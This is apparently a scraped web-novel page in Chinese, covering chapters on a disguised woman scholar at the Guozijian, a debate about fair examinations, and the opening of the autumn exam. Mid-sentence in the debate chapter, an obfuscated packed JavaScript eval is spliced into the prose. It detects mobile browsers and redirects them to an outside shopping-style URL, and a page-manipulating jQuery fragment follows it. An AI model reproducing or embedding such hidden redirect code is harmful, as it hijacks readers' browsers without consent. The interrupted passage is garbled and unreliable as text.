正说着,楼下街上忽然传来喧哗声。几人探头看去,只见一队官差押着几个人过去,有男有女,都用铁链拴着。 “那是……”有人问。 赵文启看了一眼,淡淡道:“流民。今年北边闹灾,不少人逃到京城来。官府隔几天就抓一批,赶出城去。” 谢青梧看着那些人的背影。有老人,有孩子,有个妇人怀里还抱着婴儿。雪地里,他们赤着脚,脚上都是冻疮。 “赶出城,他们去哪儿?”她问。 “谁知道。”赵文启不在意,“反正不能在京城待着,有碍观瞻。” 有碍观瞻。谢青梧握着茶杯的手紧了紧。 这时,街对面国子监的大门开了,一群学子鱼贯而出。他们穿着统一的青衫,说说笑笑,意气风发。 流民的队伍正好从门前经过。那些学子停下脚步,有的指指点点,有的皱起眉头。一个老流民摔倒了,半天爬不起来,没人去扶。 谢青梧忽然站起身。 “谢公子?”赵文启讶然。 “我出去走走。”谢青梧放下茶杯,下了楼。 她走到街上,雪后的阳光刺眼。流民的队伍已经走远了,只在雪地上留下一串歪歪扭扭的脚印。 她站在那些脚印旁,看了很久。 “公子?”慕容芷不知何时找来了,“房子看好了,就在前头巷子里。一进院子,很清净。” 谢青梧点头:“带我去看看。” 新租的院子离国子监只隔两条街,确实清净。院里也有棵槐树,叶子掉光了,枝干上积着雪。 “就这儿吧。”谢青梧道,“明日搬过来。” 夜里,她独自在院里站了很久。京城很大,很繁华,但也很冷。这种冷,不是风雪带来的,是人心里的冰。 她想起陆执的话:“京城不比江州,水深。” 是啊,水很深。但她既然来了,就要在这深水里,走出自己的路。 16. 国子监 搬进新院子的第三天,谢青梧去了国子监。 国子监在城东,朱红大门,门前立着两块石碑,一块刻“文武百官到此下马”,一块刻“天下英才入此门中”。她站在门外看了会儿,整了整衣冠,递上陈学政写的荐书。 门房是个老吏,接过荐书扫了一眼,脸色立刻恭敬起来:“原来是陈大人的门生。请随我来。” 穿过仪门,眼前豁然开朗。庭院深深,古柏参天,正中是彝伦堂,两侧是六堂——率性、修道、诚心、正义、崇志、广业。正是上课时分,朗朗读书声从各堂飘出来,混着冬日的冷风,有种肃穆的味道。 老吏引她到东厢一间屋子,里面坐着个穿青袍的博士,正在批阅课业。 “徐博士,这位是江州来的谢怀瑾谢公子,陈学政荐来旁听的。” 徐博士抬起头,约莫五十来岁,面容清癯,目光锐利。他接过荐书看了,又打量谢青梧:“小三元?” “学生惭愧。”谢青梧躬身。 “坐吧。”徐博士指指对面的椅子,“陈大人在信里说,你文章写得不错,就是……太锐了些。” 谢青梧垂眸不语。 徐博士把荐书放下:“国子监的规矩,旁听生可以听课,可以借书,但不能参加课考,也不能领廪米。你既然来了,就好好听,少说话。” “学生明白。” “今日率性堂讲《尚书》,你去听听。”徐博士起身,“跟我来。” 率性堂是六堂之首,专收监生中的佼佼者。谢青梧跟着徐博士进去时,堂里已经坐了三四十个监生,个个正襟危坐。讲台上坐着个老先生,白发苍苍,正在讲解《洪范》篇。 徐博士让她在最后一排坐下,自己退了出去。 谢青梧打开随身带的纸笔,认真听讲。那老先生讲得深入浅出,从“洪范九畴”讲到治国之道,又从治国讲到修身。讲到“王道荡荡,无偏无党”时,忽然停下,看向台下。 “今日新来了位旁听生。”老先生声音洪亮,“谢怀瑾,江州府的小三元。老夫听说,你在院试写过一篇‘星火燎原’?” 满堂目光齐刷刷投过来。 谢青梧起身:“是。” “好。”老先生点头,“那老夫问你,若以《洪范》之理,你这‘星火’当如何燎原?又如何不烧成野火,反噬自身?” 这问题问得刁钻。谢青梧略一思索,答道:“回先生,《洪范》言‘皇极’,谓大中至正之道。学生以为,星火燎原,首在‘正’。火种要正,方向要正,所燃亦须是枯枝败叶,而非嘉禾良木。” 她顿了顿:“至于如何不反噬,学生以为,当如大禹治水,疏而不堵。火势太烈则分其焰,风向不对则转其向。但火种既燃,便不能灭。” 老先生盯着她看了片刻,忽然笑了:“坐吧。说得还行。” 一堂课下来,谢青梧记了满满三页笔记。散堂时,有几个监生围过来,好奇地问东问西。多是问江州风物、考试心得,态度还算友善。 但人群里也有几道不善的目光。一个穿锦袍的监生抱着手臂站在不远处,冷眼看着这边。旁边有人小声说:“那是刘瑾,国子监祭酒的外甥。” 谢青梧记下了这个名字。 中午在国子监的饭堂用饭。饭食简单,一荤一素,但管够。谢青梧端着食盘找了个角落坐下,刚吃两口,对面就坐了个人。 抬头一看,是早上那个刘瑾。 “谢公子,”刘瑾似笑非笑,“江州来的?” “是。” “江州好啊,山清水秀。”刘瑾夹了块肉,“不过咱们京城,规矩多。有些话,在外头说说是风骨,在国子监说……就是不懂事了。” 谢青梧放下筷子:“刘公子指教。” “不敢。”刘瑾身子前倾,压低声音,“你那套‘星火燎原’的把戏,在江州玩玩就算了。京城是什么地方?随便一块砖砸下来,都能砸着三品大员。你一个寒门学子,真以为能掀起什么风浪?” 话说得难听,但确是实情。谢青梧看着他:“刘公子说得对。所以学生来国子监,是来读书的。” “读书?”刘瑾嗤笑,“读书是为了什么?还不是为了做官。做官要什么?人脉、靠山、银子。你有哪样?” 谢青梧没接话。 刘瑾自觉占了上风,语气更轻蔑:“陈学政荐你又如何?他老人家清流一派,最是古板。你跟着他,得罪了旁人,将来有你的苦头吃。” “多谢刘公子提醒。”谢青梧端起食盘,“学生吃完了,先走一步。” 她起身离开,身后传来刘瑾的冷哼。 走出饭堂,冬日午后的阳光稀薄。谢青梧在院子里站了会儿,深吸口气,把那股憋闷压下去。 京城第一课:这里的人,说话都喜欢绕弯子。刘瑾那些话,表面是敲打,其实是试探——试探她的背景,试探她的底气。 她转身去了藏书楼。 国子监藏书楼有三层,经史子集分门别类,卷帙浩繁。谢青梧办了借阅牌,在书架间慢慢走。走到史部时,她停住了。 那一排书架上,有几本装帧特别的书,《前朝女官录》《闺阁诗话》《女子德容功言集》。她抽出一本《前朝女官录》,翻开,里面记载着前朝几位女官的传记,虽然篇幅不长,但确确实实存在过。 正看着,身后传来脚步声。一个穿着监生服、但年纪明显小些的少年走过来,看见她手里的书,愣了一下。 “你也看这个?”少年问。 谢青梧合上书:“随便翻翻。你是……” “我叫沈知微。”少年有些腼腆,“在崇志堂读书。这书……很少人看的。” 谢青梧打量他。这少年约莫十四五岁,眉眼清秀,说话细声细气。监生服穿在他身上有些宽大,更显瘦弱。 “为什么很少人看?”她问。 沈知微抿抿唇:“先生说,这些书……不合时宜。” 不合时宜。谢青梧笑了,把书放回书架:“那你还看?” “我……”沈知微脸红了,“我觉得有意思。前朝居然有女子做官,虽然只是些文书小吏,但总归是……” 他没说完,但谢青梧懂了。 两人并肩走出藏书楼。沈知微很健谈,说起国子监的趣事,哪个博士讲课爱打瞌睡,哪个监生晚上翻墙出去喝酒被抓。说到最后,他压低声音:“谢兄,你要小心刘瑾。” “我知道。” “他那人,心眼小。”沈知微道,“你今天在堂上答得漂亮,他肯定记恨了。他舅舅是祭酒,他想整人,办法多得很。” 谢青梧点头:“多谢提醒。” “不过你也别太担心。”沈知微笑了,“国子监里,看不惯他的人也多。有事你说话,我们帮你。” 这个“我们”说得自然。谢青梧心里一暖。 下午没有课,她在藏书楼待到闭楼时分。抱着一摞借来的书走出国子监时,天色已暗。街灯次第亮起,把雪地照得一片昏黄。 慕容芷在门外等她,接过书:“公子,有人送帖子来。” 谢青梧接过一看,是赵文启,邀她明日晚上去听曲,说是有位新来的琴师,技艺绝佳。 她本要推辞,但想到顾临渊的托付,还是应了。在京城,人脉就像蜘蛛网,得一点点织。 回到住处,简单用过晚饭,她便开始整理今日笔记。国子监博士讲的《尚书》,和她以往读的理解有所不同,更重经世致用。她边整理边思考,不知不觉夜深了。 慕容芷端来宵夜时,欲言又止。 “怎么了?”谢青梧问。 “公子,”慕容芷低声道,“我今天在国子监外头……好像看到锦衣卫的人了。” 谢青梧笔一顿:“确定?” “不太确定,但那人走路的样子、看人的眼神,很像。”慕容芷道,“他在对面茶楼坐了整整一下午,一直看着国子监大门。” 陆执还没放弃。 谢青梧放下笔,走到窗边。夜色沉沉,远处传来打更声。京城就像一张巨大的棋盘,每个人都是棋子,而执棋的人,她还没见到。 “我知道了。”她转身,“明天你继续留意。但别打草惊蛇。” 第二日去国子监,果然又见到那个可疑的人。坐在同一间茶楼,同一个位置,穿着寻常布衣,但腰杆笔直,目光如鹰。 谢青梧只当没看见,径直进了门。 今日讲《春秋》,博士是个严肃的中年人,一开口就镇住了全场。讲到“郑伯克段于鄢”时,他忽然点名:“谢怀瑾,你来说说,此事何以载入《春秋》?” 谢青梧起身:“回先生,此事虽为兄弟相争,实则关乎礼法。郑伯身为兄长,不教而诛,有失兄道;共叔段身为臣弟,僭越谋逆,有违臣节。孔子书此,是为警后世:君臣父子,各有其分,不可乱。” 博士点头:“那以你之见,若郑伯早加管教,可能免此祸?” “不能。”谢青梧答得干脆,“共叔段之野心,非一日之寒。郑伯纵容在先,欲除之在后,看似矛盾,实则是权力权衡的结果。此事根本,不在管教,而在制度,若郑国早有定法,明确封君权限,或许能免。” 这话说得大胆。博士挑眉:“你是说,礼法不足以约束人心?” “礼法足以约束君子。”谢青梧道,“但世上不全然是君子。故需有法度,明赏罚,使人知可为与不可为。” 堂上一片寂静。这话几乎是在质疑“礼治”了。 博士盯着她看了许久,最后挥挥手:“坐吧。下课后,来我书房一趟。” 下课后,谢青梧跟着博士去了后院书房。博士姓严,是国子监里出了名的严苛。他关上门,第一句话就是:“你可知,你刚才那番话,传出去会惹麻烦?” “学生知道。” “知道还说?”严博士坐下,倒了杯茶,“谢怀瑾,我看了你的文章,确实有才。但有才的人多了,能活到施展才华那一天的,不多。” 他顿了顿:“陈大人荐你来,是惜才。但你要明白,有些话,现在不能说。” “什么时候能说?”谢青梧问。 严博士一愣。 “若人人都等‘以后’再说,”谢青梧声音平静,“那‘以后’永远不会来。” 书房里安静下来。炉火噼啪,茶烟袅袅。 良久,严博士叹了口气:“你很像一个人。” “谁?” “沈墨沈山长。”严博士眼神悠远,“他当年也是这般,认准的事,九头牛拉不回。结果如何?官至礼部尚书,却因直言进谏,被贬出京。晚年主持书院,算是善终,但抱负……终究未全展。” 他看向谢青梧:“我不是劝你同流合污。只是告诉你,路要一步一步走。你想说的那些话,等你有资格站在金殿上说时,再说。” 这话诚恳。谢青梧躬身:“学生受教。” 从书房出来,天色已晚。谢青梧收拾东西准备离开,却在仪门处被刘瑾拦住了。 “谢公子,”刘瑾皮笑肉不笑,“今日在堂上,真是出尽风头啊。” “刘公子过誉。”谢青梧想绕过去。 刘瑾侧身挡住:“急什么?我听说,你晚上要去春风阁听曲?巧了,我也去。不如一道?” 春风阁就是赵文启说的听曲地方。谢青梧看着他:“刘公子也收到帖子了?” “赵文启那小子,见谁请谁。”刘瑾嗤道,“不过既然碰上了 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云知意抬头,目光在席间扫过。看到谢青梧时,她眼神微不可察地顿了一下。 谢青梧也看着她。这女子很美,但美得没有烟火气,像月光下的雪,清冷疏离。尤其那双眼睛,沉静得不像个乐坊琴师。 琴声起。 是一曲《高山流水》。云知意指法娴熟,琴音淙淙,时而如高山巍巍,时而如流水潺潺。满座静听,无人出声。 谢青梧听着琴,目光却落在云知意的手上。那双手白皙修长,但指腹有薄茧,是常年练琴留下的。可茧子的位置……似乎有些特别。 琴曲终了,余音绕梁。众人纷纷称赞。赵文启笑道:“云姑娘琴艺果然了得。不知可否再奏一曲?” 云知意垂眸:“不知诸位想听什么?” 刘瑾忽然开口:“听说云姑娘是江南人?来京城可还习惯?” 这话问得突兀。云知意抬眼看他,眼神平静:“尚可。” “江南好啊。”刘瑾晃着酒杯,“我有个表叔在扬州做官,说江南女子,个个水灵。不过像云姑娘这般才貌双全的,倒也少见。” 这话带着轻浮。云知意神色不变:“刘公子过奖。” “不过奖不过奖。”刘瑾笑道,“只是我好奇,云姑娘这般人才,怎么沦落到乐坊弹琴?” 这话说得难听了。赵文启脸色微变:“刘兄……” 云知意却笑了。她笑起来更美,但眼里没有温度:“刘公子说笑了。弹琴是谋生,也是修身。比起某些依附家门、无所事事之辈,我倒觉得自食其力,不算沦落。” 刘瑾脸色一僵。 席间气氛微妙。谢青梧看着云知意,忽然觉得这女子不简单。 云知意似乎察觉到她的目光,转头看过来:“这位公子面生,不知如何称呼?” “谢怀瑾。”谢青梧拱手。 “谢公子。”云知意颔首,“方才听琴,公子似乎有所思。不知奴家琴艺有何不足?” “云姑娘琴艺精湛。”谢青梧道,“只是《高山流水》此曲,讲的是知音难觅。姑娘琴音里,高山巍巍有余,流水潺潺不足,可是觉得,知音未遇?” 云知意眼神微动。 良久,她轻声道:“谢公子懂琴。” 她重新抚琴,这次弹的是《梅花三弄》。琴音清越,带着孤傲,像雪中寒梅,独自开放。 谢青梧静静听着。这曲子里,有不甘,有孤高,还有一种……等待。 琴声再终时,夜已深了。众人纷纷告辞。谢青梧起身,云知意忽然开口:“谢公子留步。” 她走过来,递过一张素笺:“公子若得闲,可来听琴。奴家每旬三、六在此。” 谢青梧接过素笺,上面只有一行小字:春风阁,云知意。 “多谢。”她收起素笺。 走出春风阁,冷风一吹,酒意散了大半。刘瑾跟上来,阴阳怪气道:“谢公子好手段,才见一面,就得美人青睐。” 谢青梧没理他,径直往前走。 刘瑾在身后冷笑:“不过谢公子,我劝你一句,离那云知意远点。那女人……不简单。” 谢青梧停步回头:“刘公子知道什么?” “我知道的可多了。”刘瑾凑近,压低声音,“她是三个月前突然出现在京城的,一来就进了春风阁,琴艺好,模样好,但来历不明。有人查过,查不到底细。你说,一个查不到底细的女子,能在京城站稳脚跟,背后能没点东西?” 这话倒有几分道理。谢青梧看着他:“刘公子为何告诉我这些?” “因为我看你还算顺眼。”刘瑾难得正经,“谢怀瑾,你是有真才实学的,比那些纨绔强。我不想看你栽在女人手里。” 他说完,摆摆手走了,背影在夜色里有些摇晃。 谢青梧站在街边,看着手里的素笺。云知意……她究竟是谁? 慕容芷不知从哪儿冒出来,低声道:“公子,有人盯梢。” “几个?” “两个。一个在对面酒楼,一个在街角。”慕容芷道,“看身形,不是白天那个锦衣卫。” 谢青梧把素笺收进袖中:“走吧。回家。” 主仆二人沿着长街往回走。雪又下了起来,细细碎碎,落在肩头,很快化了。 谢青梧回头看了一眼春风阁。三楼某个窗子里,有个人影立在窗前,正看着这个方向。 是云知意。 两人隔空对视一瞬,窗子关上了。 谢青梧转回头,心里那个疑团,越来越大。 17. 文会 秋闱的日子一天天近了。 国子监里气氛明显紧张起来。监生们走路都带着风,藏书楼里经常满座,夜里各斋舍的灯火总要亮到三更。 谢青梧也进入了全力备考的状态。她每天天不亮就起床,先练半个时辰字,然后去国子监听早课。午后在藏书楼温书,傍晚回住处整理笔记,夜里再写几篇策论练手。 这样过了半个月,她发现自己被孤立了。 不是明面上的排挤,见面还打招呼,吃饭还能同桌,而是一种无形的隔阂。讨论功课时不叫她,借阅孤本时轮不到她,连监生们私下组织的文会,她也收不到帖子。 沈知微偷偷告诉她:“是刘瑾捣的鬼。他说你……文章太偏,跟你走太近会影响前程。” 谢青梧听了只是笑笑。前程?她现在连能不能参加秋闱都是问题。 按例,外地学子要在京城参加乡试,需有本地廪生作保。陈学政虽然荐她进国子监听讲,但作保的事,还得她自己想办法。 她找了赵文启。赵文启支支吾吾:“这个……怀瑾啊,不是我不帮你。只是作保这事,责任太大。万一你……” “我明白。”谢青梧没再为难他。 她又找了几位有过一面之缘的学子,得到的答复大同小异。有人干脆明说:“谢公子,你那篇‘星火燎原’传得太广,给你作保,我怕惹麻烦。” 这就是现实。文章写得好是一回事,能不能考是另一回事。 眼看离报名截止只剩三天,谢青梧坐在院里,看着满地黄叶出神。 慕容芷端茶过来,低声说:“公子,要不……我晚上去‘请’一位廪生来?” 她说得隐晦,但意思明白。谢青梧摇头:“不行。强扭的瓜不甜,就算逼他写了保书,心里不情愿,将来也是隐患。” “那怎么办?” 谢青梧没说话。她想起顾临渊给的那块玉佩,去永兴当铺,找掌柜。 但她不想用。人情债最难还,尤其是顾临渊的人情。 正想着,院门被敲响了。 开门一看,竟是严博士。 严博士披着件旧棉袍,手里提着个食盒,像个寻常老头。他进门打量院子,点点头:“收拾得挺干净。” “先生怎么来了?”谢青梧忙请他进屋。 “路过。”严博士把食盒放下,里头是几样点心和一壶酒,“天冷了,喝点酒暖暖身子。” 两人在屋里坐下。慕容芷温了酒,退出去守在门外。 严博士抿了口酒,忽然道:“保人的事,还没着落吧?” 谢青梧一怔。 “不用惊讶,国子监里没秘密。”严博士放下酒杯,“刘瑾那小子放的话,我都听说了。说你有才无德,文章偏激,谁给你作保谁倒霉。” “学生……” “你不用解释。”严博士摆手,“我教了三十年书,什么学生没见过?有才的,无才的,圆滑的,耿直的。你这样的……不多见。” 他顿了顿:“知道沈墨沈山长当年怎么教我的吗?他说,读书人要记住两件事:一是明理,二是敢为。明理不难,难在敢为。因为敢为,往往要付出代价。” 谢青梧静静听着。 “你现在遇到的,就是代价。”严博士看着她,“你那篇文章,写得很好。但好文章不一定要说出来,说出来就要准备好挨骂、被孤立、甚至失去机会。” “先生觉得,学生做错了吗?” “错?”严博士笑了,“对错是小孩才分的东西。我只问你,如果重来一次,你还会写那篇文章吗?” “会。” “那就不算错。”严博士从怀里掏出一张纸,推过来,“这是我的廪生凭证。我给你作保。” 谢青梧愣住了。 严博士是国子监博士,有廪生资格,作保当然没问题。但问题是,他为什么要冒这个险? “先生,这……” “别多想。”严博士又喝了口酒,“我不是可怜你,也不是欣赏你。我只是觉得,如果连秋闱都进不去,你这把‘星火’也太容易灭了。我想看看,你能烧成什么样。” 他说得随意,但谢青梧听出了里面的分量。 她起身,郑重一礼:“学生谢过先生。” “别急着谢。”严博士道,“我作保有个条件,秋闱你必中。要是落榜,丢的是我的脸。” “学生尽力。” “不是尽力,是必中。”严博士站起身,“好了,我走了。保书明天给你送来。” 他走到门口,又回头:“对了,国子监后天有场‘文会’,说是切磋学问,实则是秋闱前的摸底。刘瑾攒的局,请了不少人。你也去。” “学生怕不受欢迎。” “就是要你不受欢迎才去。”严博士笑了,“让他们看看,什么叫真才实学。” 送走严博士,谢青梧在灯下坐了很久。那张廪生凭证就放在桌上,纸已经发黄,但印章鲜红。 慕容芷进来收拾,看见她的神色,轻声问:“公子,这位严博士……可信吗?” “不知道。”谢青梧实话实说,“但眼下,我没有别的选择。” 而且严博士说得对,如果连秋闱都进不去,还谈什么燎原? 文会设在国子监的明伦堂。谢青梧到的时候,堂里已经坐了三四十人,除了监生,还有几位京中有名的才子。刘瑾坐在主位,正与人谈笑风生。 见她进来,堂里静了一瞬。 刘瑾挑眉:“哟,谢公子也来了?稀客。” “刘公子相邀,岂敢不来。”谢青梧找了个角落坐下。 文会的规矩是“切磋”,其实就是辩论。一人出题,众人驳难,最后评出胜者。出题权在刘瑾手里。 他扫视全场,慢悠悠开口:“今日既为秋闱预热,咱们就论一论科举之本,何谓‘取士之道’?” 题目出得大。众人纷纷发言,有的说“取士以德”,有的说“取士以才”,有的引经据典,有的结合实际。 轮到谢青梧时,堂上已经争得面红耳赤。 她起身,先向众人一礼,然后开口:“方才诸位所言,学生都听了。德才之辩,古已有之。但学生想问,何为德?何为才?” 刘瑾嗤笑:“这还用问?德是品行,才是学识。” “那敢问刘公子,”谢青梧看向他,“一个寒窗苦读、孝顺父母、友爱兄弟的寒门学子,与一个倚仗家世、欺凌弱小、却精通诗赋的纨绔子弟,孰德孰才?” 这话问得刁钻。刘瑾脸色一沉:“你这是诡辩!” “非也。”谢青梧道,“学生只是想问,德才之论,是否也该有个标准?若标准模糊,那‘取士以德’便可能沦为‘取士以名’,‘取士以才’便可能沦为‘取士以势’。” 她顿了顿:“故学生以为,取士之道,首在‘公’字。何为公?一曰机会公,寒门世家,同场竞技;二曰标准公,德有德行可考,才有才学可测;三曰结果公,取中与否,只看文章,不问出身。” 堂上一片寂静。 这话说得太直白了。几乎是在指责现在的科举不公。 一个穿绸衫的公子冷笑:“谢公子说得轻巧。寒门世家,资源不同,如何同场竞技?世家子弟有名师教导,寒门学子靠自学苦读,这公平吗?” “是不公平。”谢青梧点头,“所以朝廷该做的,不是维持这种不公平,而是尽力消除它。比如在州县广设官学,比如刻印经义廉价发售,比如给寒门学子提供赶考路费,这些,都是可以做的事。” “那银子从哪儿来?”又有人问。 “从该来的地方来。”谢青梧道,“朝廷每年拨给各地官学的银子,有多少真正用在学子身上?各地贡院修缮,有多少是实报实销?若能从这些地方省出一些,便足够做很多事。” 这话涉及官场弊病,没人敢接茬了。 刘瑾脸色难看,忽然道:“谢公子高论。不过纸上谈兵容易,真要做起来难。不如咱们来点实际的,我这儿有道算学题,谢公子解解?” 他从袖中掏出一张纸,让书童传给谢青梧。 题目是:“今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问物几何?” 这是道著名的“孙子算经”题,在场不少人都知道答案。刘瑾出这题,显然是想刁难,若谢青梧答不上,便证明她只会空谈;若答上了,也无非是拾人牙慧。 谢青梧看完题,笑了。 她提笔在纸上写了个数字,递回去。 刘瑾一看,愣了,纸上写的不是答案,而是一个算式。 “这是什么?”他皱眉。 “解法。”谢青梧道,“此乃‘大衍求一术’,可解一切此类问题。三三数之余数乘七十,五五数之余数乘二十一,七七数之余数乘十五,相加后减去一百零五的倍数,即为所求。” 她走到堂前,拿起粉笔在竖起的木板上写起来:“这背后的道理,是同余运算。若推广开来,可用于历法推算、军粮调配、乃至钱粮核算。算学不是猜谜,是工具。取士若只考猜谜之能,不考工具之用,岂非本末倒置?” 她讲得深入浅出,从孙子算经讲到《九章算术》,又从算学讲到实际应用。堂上原本想看热闹的人,都听入了神。 刘瑾的脸色越来越难看。 等谢青梧讲完,一个一直没说话的老监生忽然起身,向她一揖:“听君一席话,胜读十年书。老夫在国子监三十年,头回听人把算学讲得如此透彻。” 这老监生姓徐,是国子监里资历最老的博士之一,平时不苟言笑,极少夸人。 他这一开口,风向顿时变了。不少人看向谢青梧的眼神,从审视变成了敬佩。 刘瑾咬牙,还想说什么,徐博士却先开了口:“今日文会,到此为止吧。谢公子方才所言,诸位回去好好想想。秋闱在即,莫在这些虚名上浪费时间。” 文会散了。 谢青梧走出明伦堂时,沈知微追上来,眼睛发亮:“谢兄,你刚才太厉害了!那套算法,能教教我吗?” “当然。”谢青梧笑道,“不过得等秋闱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946683|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。” “一言为定!”沈知微高兴地走了。 谢青梧正要离开,徐博士从后面叫住她:“谢公子留步。” 她转身行礼:“徐先生。” 徐博士打量她,眼神复杂:“你那套‘大衍求一术’,从哪儿学的?” “自己琢磨的。”谢青梧道,“学生在家时,常帮邻里算账,渐渐悟出些门道。” 这话半真半假。算法确实是古人所创,但她前世学过数论,理解起来自然比旁人深。 徐博士盯着她看了会儿,忽然道:“秋闱之后,若你得空,来我住处一趟。我有些书,或许对你有用。” 这是橄榄枝。谢青梧郑重应下:“学生一定来。” 走出国子监时,天色尚早。谢青梧没急着回住处,拐去了春风阁。 她记得云知意给的素笺上说,每旬三、六在。今日正是初六。 春风阁白天很安静,只有几个小厮在打扫。谢青梧说明来意,被引到三楼一间雅室。 云知意正在煮茶。见是她,微微一笑:“谢公子来了。请坐。” 雅室不大,但布置雅致。墙上挂着一幅雪梅图,题着“疏影横斜水清浅,暗香浮动月黄昏”。案上香炉里燃着檀香,烟气袅袅。 “云姑娘好雅兴。”谢青梧在对面坐下。 云知意递过一杯茶:“粗茶而已。谢公子今日怎么有空来?” “来谢姑娘。”谢青梧接过茶,“那日听琴,受益良多。” “奴家琴艺粗陋,当不起谢公子一个谢字。”云知意垂眸,“倒是公子今日在国子监的文会,才是真精彩。” 谢青梧手一顿:“云姑娘如何知道?” “春风阁离国子监不远,消息传得快。”云知意语气平淡,“听说公子一番高论,连徐博士都刮目相看。” 她说得轻巧,但谢青梧心里明白,文会结束不到一个时辰,消息就传到春风阁,这速度不正常。 除非,有人特意关注。 “云姑娘似乎对国子监的事很关心。”谢青梧试探道。 云知意抬眼,目光清凌凌的:“奴家关心所有有趣的事。谢公子这样的人出现在京城,本就很有趣。” 两人对视片刻。 云知意忽然笑了:“公子别紧张。奴家没有恶意。只是觉得……公子不像普通的读书人。” “哪里不像?” “眼神。”云知意道,“普通读书人眼里,要么是功名,要么是风月。公子眼里,有别的。” “比如?” “比如……”云知意顿了顿,“不甘。” 这个词用得准。谢青梧握着茶杯,没说话。 云知意起身,走到窗边:“奴家也是女子,知道这世道对女子如何。所以看到公子这样的男子,能为女子说话,能为寒门说话,总觉得……难得。” 她回头:“但公子要小心。京城这地方,容得下圆滑,容不下尖锐。公子这把刀,太利了。” 这话和严博士说的如出一辙。 谢青梧放下茶杯:“多谢姑娘提醒。但刀已经出鞘,就不能再藏回去。” 云知意看着她,良久,轻声道:“那奴家就祝公子……刀锋所向,皆成坦途。” 她从案下取出一个小木盒,推过来:“一点心意,公子收着。” 谢青梧打开,里面是几支上好的狼毫笔,还有一锭徽墨。 “这太贵重了。” “笔墨赠君子,正合适。”云知意道,“秋闱在即,公子用得上。” 谢青梧没再推辞。她收下木盒,起身告辞。 走到门口时,云知意忽然叫住她:“谢公子。” “姑娘还有事?” “若将来……公子遇到难处,可以来找我。”云知意声音很轻,“春风阁虽然只是乐坊,但有时候,消息比别处灵通。” 这话里有话。谢青梧点头:“我记住了。” 从春风阁出来,已是黄昏。街市上灯火初上,行人匆匆。 慕容芷在街角等她,脸色不太好看。 “怎么了?”谢青梧问。 “公子,陆执又出现了。”慕容芷低声道,“他今天去了国子监,找徐博士问话。我偷听到一点……他在查你的户籍。” 终于来了。谢青梧深吸口气:“查到什么了?” “还不知道。但徐博士好像没说什么。”慕容芷道,“不过陆执这人,不查到东西不会罢休。” 谢青梧点点头。她早就料到会有这一天,只是没想到这么快。 回到住处,她拿出顾临渊给的那块玉佩,看了很久,最终又收了起来。 还不到用的时候。 夜里,她坐在灯下,翻开严博士送来的保书。字迹工整,印章鲜红,一切都合规。 有了这个,她就能参加秋闱了。 但秋闱只是开始。后面还有会试,殿试,还有更长的路。 她提笔,在纸上写下一行字:“刀已出鞘,当磨其锋。” 但她没有退路,从来没有。 18. 秋闱 秋闱开考那日,京城下起了淅淅沥沥的秋雨。 天还没亮透,贡院外就已经挤满了人。考生、送考的家人、卖早点的摊贩、维持秩序的衙役,把整条街堵得水泄不通。雨丝混着灯笼的光,在青石板路上晕开一片片水渍。 谢青梧撑着伞站在人群里,身后跟着慕容芷。她的考篮里装着笔墨纸砚、干粮清水,还有严博士给的保书。雨打在油纸伞上,噼啪作响。 “公子,伞拿好。”慕容芷把伞又往她这边偏了偏,自己半边肩膀湿了。 “没事。”谢青梧接过伞,看了眼天色,“时辰快到了。” 贡院的大门缓缓打开,两列衙役持刀而立。主考官穿着官服站在阶上,声音洪亮:“考生列队,查验入场!” 队伍开始蠕动。谢青梧随着人流往前挪,到门口时递上考篮和保书。查验的官员仔细核对了保书,又打量她几眼:“谢怀瑾?” “是。” “进去吧。” 跨过贡院高高的门槛,里面是另一番天地。庭院深深,两侧是一排排低矮的号舍,像蜂巢般密密麻麻。雨雾中,只能看见影影绰绰的人影在各处走动。 谢青梧找到自己的号舍,地字十七号。这位置不错,在中间排,不靠边,不漏雨。她放下考篮,先检查号舍:木板床铺着草席,号板当书桌,墙角有个瓦盆当便桶。虽然简陋,但还算干净。 她刚铺好油布,准备摆开笔墨,隔壁号舍传来一声惊呼:“我的墨!” 转头看去,是个面生的年轻学子,正手忙脚乱地收拾打翻的砚台。墨汁泼了一地,染黑了他的衣摆。 谢青梧从自己考篮里取出一块备用墨锭,递过去:“先用这个。” 那学子一愣,随即感激涕零:“多谢兄台!这……这怎么好意思……” “考试要紧。”谢青梧摆摆手,转回自己的号舍。 辰时整,鼓声响起。考题发下来了。 谢青梧展开卷纸,先快速浏览一遍。头场考四书五经,三道题:《大学》的“格物致知”,《孟子》的“民贵君轻”,还有一道诗题,要求以“秋雨”为意作七律。 她深吸口气,研墨提笔。 “格物致知”这题,她没按常规解释,而是从“物”字入手,写“物有本末,事有始终”,引申到治国,格物不仅是格书本之物,更是格天下万物;致知不仅是知圣贤之言,更是知百姓疾苦。 写到一半,雨忽然大了。豆大的雨点砸在号舍的瓦檐上,噼里啪啦像炒豆子。风卷着雨丝从门缝钻进来,打湿了卷纸一角。 谢青梧连忙用镇纸压住,又扯了块布巾塞住门缝。正忙着,听见隔壁传来压抑的咳嗽声,是刚才那个打翻墨的学子。 她侧耳听了听,那咳嗽声越来越急,带着痰音。 犹豫片刻,她起身敲了敲隔板:“兄台可还好?” 隔壁静了一瞬,然后传来虚弱的声音:“还……还好,就是有些喘。” 谢青梧想了想,从考篮里摸出个小瓷瓶。治风寒咳嗽的。她把药从隔板下递过去:“我这儿有些药丸,你含一颗试试。” 那学子接过,道了谢。不多时,咳嗽声渐渐平息。 谢青梧这才安心继续答卷。等三道题都写完,已是午后。雨小了些,变成绵绵的细雨。她检查一遍卷子,确认无误,才收拾东西,靠在墙边闭目养神。 第一场考完,考生可以出号舍活动一刻钟。谢青梧走到院子里透气,看见那个打翻墨的学子也出来了,脸色还是苍白,但精神好了些。 “多谢兄台赠药。”他走过来拱手,“在下李慕白,江陵人士。” “谢怀瑾。”谢青梧回礼,“李兄身体可好些?” 